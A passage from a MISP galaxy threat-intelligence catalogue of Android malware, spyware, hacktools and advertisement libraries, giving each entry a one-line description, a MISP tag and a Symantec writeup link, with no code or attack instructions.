The tag is: misp-galaxy:android="MillennialMedia"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99 |
Mitcad
Mitcad is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Mitcad"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99 |
MobClix
MobClix is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="MobClix"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99 |
MobFox
MobFox is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="MobFox"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99 |
Mobidisplay
Mobidisplay is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Mobidisplay"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99 |
Mobigapp
Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.
The tag is: misp-galaxy:android="Mobigapp"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99 |
MobileBackup
MobileBackup is a spyware application for Android devices that monitors the affected device.
The tag is: misp-galaxy:android="MobileBackup"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99 |
Mobilespy
Mobilespy is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Mobilespy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99 |
Mobiletx
Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.
The tag is: misp-galaxy:android="Mobiletx"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99 |
Mobinaspy
Mobinaspy is a spyware application for Android devices that can track the device’s location.
The tag is: misp-galaxy:android="Mobinaspy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99 |
Mobus
Mobus is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Mobus"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99 |
MobWin
MobWin is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="MobWin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99 |
Mocore
Mocore is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Mocore"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99 |
Moghava
Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.
The tag is: misp-galaxy:android="Moghava"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99 |
Momark
Momark is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Momark"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99 |
Monitorello
Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.
The tag is: misp-galaxy:android="Monitorello"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99 |
Moolah
Moolah is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Moolah"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99 |
MoPub
MoPub is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="MoPub"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99 |
Morepaks
Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.
The tag is: misp-galaxy:android="Morepaks"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99 |
Nandrobox
Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.
The tag is: misp-galaxy:android="Nandrobox"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99 |
Netisend
Netisend is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Netisend"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99 |
Nickispy
Nickispy is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Nickispy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99 |
Notcompatible
Notcompatible is a Trojan horse for Android devices that acts as a proxy.
The tag is: misp-galaxy:android="Notcompatible"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99 |
Nuhaz
Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.
The tag is: misp-galaxy:android="Nuhaz"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99 |
Nyearleaker
Nyearleaker is a Trojan horse program for Android devices that steals information.
The tag is: misp-galaxy:android="Nyearleaker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99 |
Obad
Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.
The tag is: misp-galaxy:android="Obad"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99 |
Oneclickfraud
Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.
The tag is: misp-galaxy:android="Oneclickfraud"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99 |
Opfake
Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.
The tag is: misp-galaxy:android="Opfake"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99 |
Opfake.B
Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.
The tag is: misp-galaxy:android="Opfake.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99 |
Ozotshielder
Ozotshielder is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Ozotshielder"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99 |
Pafloat
Pafloat is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Pafloat"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99 |
PandaAds
PandaAds is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="PandaAds"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99 |
Pandbot
Pandbot is a Trojan horse for Android devices that may download more files onto the device.
The tag is: misp-galaxy:android="Pandbot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99 |
Pdaspy
Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.
The tag is: misp-galaxy:android="Pdaspy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99 |
Penetho
Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.
The tag is: misp-galaxy:android="Penetho"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99 |
Perkel
Perkel is a Trojan horse for Android devices that may steal information from the compromised device.
The tag is: misp-galaxy:android="Perkel"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99 |
Phimdropper
Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.
The tag is: misp-galaxy:android="Phimdropper"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99 |
Phospy
Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.
The tag is: misp-galaxy:android="Phospy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99 |
Piddialer
Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.
The tag is: misp-galaxy:android="Piddialer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99 |
Pikspam
Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.
The tag is: misp-galaxy:android="Pikspam"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99 |
Pincer
Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.
The tag is: misp-galaxy:android="Pincer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99 |
Pirator
Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.
The tag is: misp-galaxy:android="Pirator"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99 |
Pjapps
Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.
The tag is: misp-galaxy:android="Pjapps"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99 |
Pjapps.B
Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.
The tag is: misp-galaxy:android="Pjapps.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99 |
Pletora
Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.
The tag is: misp-galaxy:android="Pletora"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99 |
Poisoncake
Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.
The tag is: misp-galaxy:android="Poisoncake"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99 |
Pontiflex
Pontiflex is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Pontiflex"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99 |
Positmob
Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.
The tag is: misp-galaxy:android="Positmob"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99 |
Premiumtext
Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.
The tag is: misp-galaxy:android="Premiumtext"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99 |
Pris
Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.
The tag is: misp-galaxy:android="Pris"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99 |
Qdplugin
Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Qdplugin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99 |
Qicsomos
Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
The tag is: misp-galaxy:android="Qicsomos"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99 |
Qitmo
Qitmo is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Qitmo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99 |
Rabbhome
Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Rabbhome"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99 |
Repane
Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.
The tag is: misp-galaxy:android="Repane"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99 |
Reputation.1
Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.
The tag is: misp-galaxy:android="Reputation.1"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99 |
Reputation.2
Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.
The tag is: misp-galaxy:android="Reputation.2"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99 |
Reputation.3
Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.
The tag is: misp-galaxy:android="Reputation.3"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99 |
RevMob
RevMob is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="RevMob"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99 |
Roidsec
Roidsec is a Trojan horse for Android devices that steals confidential information.
The tag is: misp-galaxy:android="Roidsec"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99 |
Rootcager
Rootcager is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Rootcager"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99 |
Rootnik
Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.
The tag is: misp-galaxy:android="Rootnik"
Rootnik has relationships with:
-
similar: misp-galaxy:malpedia="Rootnik" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99 |
Rufraud
Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.
The tag is: misp-galaxy:android="Rufraud"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99 |
Rusms
Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.
The tag is: misp-galaxy:android="Rusms"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99 |
Samsapo
Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.
The tag is: misp-galaxy:android="Samsapo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99 |
Sandorat
Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.
The tag is: misp-galaxy:android="Sandorat"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99 |
Sberick
Sberick is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Sberick"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99 |
Scartibro
Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.
The tag is: misp-galaxy:android="Scartibro"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99 |
Scipiex
Scipiex is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Scipiex"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99 |
Selfmite
Selfmite is a worm for Android devices that spreads through SMS messages.
The tag is: misp-galaxy:android="Selfmite"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99 |
Selfmite.B
Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.
The tag is: misp-galaxy:android="Selfmite.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99 |
SellARing
SellARing is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="SellARing"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99 |
SendDroid
SendDroid is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="SendDroid"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99 |
Simhosy
Simhosy is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Simhosy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99 |
Simplocker
Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.
The tag is: misp-galaxy:android="Simplocker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99 |
Simplocker.B
Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.
The tag is: misp-galaxy:android="Simplocker.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99 |
Skullkey
Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.
The tag is: misp-galaxy:android="Skullkey"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99 |
Smaato
Smaato is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Smaato"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99 |
Smbcheck
Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.
The tag is: misp-galaxy:android="Smbcheck"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99 |
Smsblocker
Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.
The tag is: misp-galaxy:android="Smsblocker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99 |
Smsbomber
Smsbomber is a program that can be used to send messages to contacts on the device.
The tag is: misp-galaxy:android="Smsbomber"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99 |
Smslink
Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.
The tag is: misp-galaxy:android="Smslink"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99 |
Smspacem
Smspacem is a Trojan horse that may send SMS messages from Android devices.
The tag is: misp-galaxy:android="Smspacem"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99 |
SMSReplicator
SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer’s choice.
The tag is: misp-galaxy:android="SMSReplicator"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99 |
Smssniffer
Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.
The tag is: misp-galaxy:android="Smssniffer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99 |
Smsstealer
Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Smsstealer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99 |
Smstibook
Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
The tag is: misp-galaxy:android="Smstibook"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99 |
Smszombie
Smszombie is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Smszombie"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99 |
Snadapps
Snadapps is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Snadapps"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99 |
Sockbot
Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.
The tag is: misp-galaxy:android="Sockbot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99 |
Sockrat
Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Sockrat"
Sockrat has relationships with:
-
similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99 |
Sofacy
Sofacy is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Sofacy"
Sofacy has relationships with:
-
similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99 |
Sosceo
Sosceo is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Sosceo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99 |
Spitmo
Spitmo is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Spitmo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99 |
Spitmo.B
Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Spitmo.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99 |
Spyagent
Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.
The tag is: misp-galaxy:android="Spyagent"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99 |
Spybubble
Spybubble is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.
The tag is: misp-galaxy:android="Spybubble"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99 |
Spydafon
Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.
The tag is: misp-galaxy:android="Spydafon"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99 |
Spymple
Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.
The tag is: misp-galaxy:android="Spymple"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99 |
Spyoo
Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.
The tag is: misp-galaxy:android="Spyoo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99 |
Spytekcell
Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.
The tag is: misp-galaxy:android="Spytekcell"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99 |
Spytrack
Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.
The tag is: misp-galaxy:android="Spytrack"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99 |
Spywaller
Spywaller is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Spywaller"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99 |
Stealthgenie
Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Stealthgenie"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99 |
Steek
Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.
The tag is: misp-galaxy:android="Steek"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99 |
Stels
Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Stels"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99 |
Stiniter
Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
The tag is: misp-galaxy:android="Stiniter"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99 |
Sumzand
Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.
The tag is: misp-galaxy:android="Sumzand"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99 |
Sysecsms
Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Sysecsms"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99 |
Tanci
Tanci is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Tanci"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99 |
Tapjoy
Tapjoy is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Tapjoy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99 |
Tapsnake
Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone’s location and posts it to a remote web service.
The tag is: misp-galaxy:android="Tapsnake"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99 |
Tascudap
Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.
The tag is: misp-galaxy:android="Tascudap"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99 |
Teelog
Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Teelog"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99 |
Temai
Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.
The tag is: misp-galaxy:android="Temai"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99 |
Tetus
Tetus is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Tetus"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99 |
Tgpush
Tgpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Tgpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99 |
Tigerbot
Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.
The tag is: misp-galaxy:android="Tigerbot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99 |
Tonclank
Tonclank is a Trojan horse that steals information and may open a back door on Android devices.
The tag is: misp-galaxy:android="Tonclank"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99 |
Trogle
Trogle is a worm for Android devices that may steal information from the compromised device.
The tag is: misp-galaxy:android="Trogle"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99 |
Twikabot
Twikabot is a Trojan horse for Android devices that attempts to steal information.
The tag is: misp-galaxy:android="Twikabot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99 |
Uapush
Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.
The tag is: misp-galaxy:android="Uapush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99 |
Umeng
Umeng is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Umeng"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99 |
Updtbot
Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.
The tag is: misp-galaxy:android="Updtbot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99 |
Upush
Upush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Upush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99 |
Uracto
Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.
The tag is: misp-galaxy:android="Uracto"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99 |
Uranico
Uranico is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Uranico"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99 |
Usbcleaver
Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Usbcleaver"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99 |
Utchi
Utchi is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Utchi"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99 |
Uten
Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.
The tag is: misp-galaxy:android="Uten"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99 |
Uupay
Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.
The tag is: misp-galaxy:android="Uupay"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99 |
Uxipp
Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
The tag is: misp-galaxy:android="Uxipp"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99 |
Vdloader
Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.
The tag is: misp-galaxy:android="Vdloader"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99 |
VDopia
VDopia is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="VDopia"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99 |
Virusshield
Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.
The tag is: misp-galaxy:android="Virusshield"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99 |
VServ
VServ is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="VServ"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99 |
Walkinwat
Walkinwat is a Trojan horse that steals information from the compromised device.
The tag is: misp-galaxy:android="Walkinwat"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99 |
Waps
Waps is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Waps"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99 |
Waren
Waren is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Waren"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99 |
Windseeker
Windseeker is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Windseeker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99 |
Wiyun
Wiyun is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Wiyun"
Links |
